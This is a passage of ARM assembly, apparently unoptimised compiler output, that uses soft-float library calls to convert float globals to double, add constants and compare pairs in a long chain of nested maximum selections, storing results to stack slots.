beq .L1604
ldr r3, .L1691+100
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+88
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
b .L775
.L1604:
ldr r3, .L1691+92
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+96
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
.L775:
ldr r3, .L1691+72
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+76
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r8, r2
mov r9, r3
ldr r3, .L1691+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+84
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r8
mov r1, r9
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1605
ldr r3, .L1691+72
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+76
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L778
.L1605:
ldr r3, .L1691+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+84
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L778:
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1606
ldr r3, .L1691+100
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+88
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1691+92
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+96
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1607
ldr r3, .L1691+100
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+88
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L784
.L1607:
ldr r3, .L1691+92
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+96
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L784
.L1606:
ldr r3, .L1691+72
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+76
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1691+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+84
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1608
ldr r3, .L1691+72
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+76
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L784
.L1608:
ldr r3, .L1691+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+84
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L784:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1609
ldr r3, .L1691+48
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+88
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1691+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1610
ldr r3, .L1691+48
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+88
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L792
.L1610:
ldr r3, .L1691+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L792:
ldr r3, .L1691+60
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1691+64
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1611
ldr r3, .L1691+60
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L795
.L1611:
ldr r3, .L1691+64
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L795:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1612
ldr r3, .L1691+48
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+88
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1691+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1613
ldr r3, .L1691+48
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+88
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L805
.L1613:
ldr r3, .L1691+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L805
.L1612:
ldr r3, .L1691+60
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1691+64
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1614
ldr r3, .L1691+60
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L805
.L1614:
ldr r3, .L1691+64
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L805
.L1609:
ldr r3, .L1691+100
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+88
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1691+92
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+96
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1615
ldr r3, .L1691+100
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+88
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L808
.L1615:
ldr r3, .L1691+92
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+96
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L808:
ldr r3, .L1691+72
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+76
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1691+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+84
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1616
ldr r3, .L1691+72
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+76
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L811
.L1616:
ldr r3, .L1691+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+84
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L811:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1617
ldr r3, .L1691+100
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+88
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1691+92
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+96
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1618
ldr r3, .L1691+100
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L805
.L1618:
ldr r3, .L1693+4
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+84
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L805
.L1617:
ldr r3, .L1693+104
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+8
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1693+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+12
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1619
ldr r3, .L1693+104
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+8
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L805
.L1619:
ldr r3, .L1693+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+12
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L805:
mov r0, r2
mov r1, r3
bl __aeabi_d2f
mov r3, r0
str r3, [fp, #-44] @ float
ldr r3, .L1693+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+16
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1693+60
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1620
ldr r3, .L1693+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+16
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L823
.L1620:
ldr r3, .L1693+60
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L823:
ldr r3, .L1693+20
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1693+72
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+100
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1621
ldr r3, .L1693+20
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L826
.L1621:
ldr r3, .L1693+72
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+100
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L826:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1622
ldr r3, .L1693+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+16
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1693+60
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1623
ldr r3, .L1693+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+16
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L832
.L1623:
ldr r3, .L1693+60
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L832
.L1622:
ldr r3, .L1693+20
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1693+72
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+100
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1624
ldr r3, .L1693+20
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L832
.L1624:
ldr r3, .L1693+72
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+100
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L832:
ldr r3, .L1693+4
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1693+104
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1625
ldr r3, .L1693+4
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
b .L838
.L1625:
ldr r3, .L1693+104
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
.L838:
ldr r3, .L1693+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r8, r2
mov r9, r3
ldr r3, .L1693+44
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r8
mov r1, r9
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1626
ldr r3, .L1693+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L841
.L1626:
ldr r3, .L1693+44
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L841:
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1627
ldr r3, .L1693+4
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1693+104
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1628
ldr r3, .L1693+4
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L847
.L1628:
ldr r3, .L1693+104
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L847
.L1627:
ldr r3, .L1693+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1693+44
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1629
ldr r3, .L1693+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L847
.L1629:
ldr r3, .L1693+44
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L847:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1630
ldr r3, .L1693+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+16
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1693+60
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1631
ldr r3, .L1693+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+16
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L855
.L1631:
ldr r3, .L1693+60
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L855:
ldr r3, .L1693+20
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1693+72
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+100
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1632
ldr r3, .L1693+20
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L858
.L1632:
ldr r3, .L1693+72
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+100
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L858:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1633
ldr r3, .L1693+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+16
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1693+60
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1634
ldr r3, .L1693+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+16
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L868
.L1634:
ldr r3, .L1693+60
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L868
.L1633:
ldr r3, .L1693+20
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1693+72
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+100
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1635
ldr r3, .L1693+20
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L868
.L1635:
ldr r3, .L1693+72
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+100
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L868
.L1630:
ldr r3, .L1693+4
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1693+104
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1636
ldr r3, .L1693+4
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L871
.L1636:
ldr r3, .L1693+104
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L871:
ldr r3, .L1693+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1693+44
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1637
ldr r3, .L1693+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L874
.L1637:
ldr r3, .L1693+44
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L874:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1638
ldr r3, .L1693+4
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1693+104
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1639
ldr r3, .L1693+4
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L868
.L1639:
ldr r3, .L1693+104
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L868
.L1638:
ldr r3, .L1693+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1693+44
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1640
ldr r3, .L1693+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L868
.L1640:
ldr r3, .L1693+44
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L868:
mov r0, r2
mov r1, r3
bl __aeabi_d2f
mov r3, r0
str r3, [fp, #-40] @ float
ldr r3, .L1693+24
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1693+64
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1641
ldr r3, .L1693+24
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L886
.L1641:
ldr r3, .L1693+64
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L886:
ldr r3, .L1693+72
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1693+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1642
ldr r3, .L1693+72
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L889
.L1642:
ldr r3, .L1693+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L889:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1643
ldr r3, .L1693+24
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1693+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
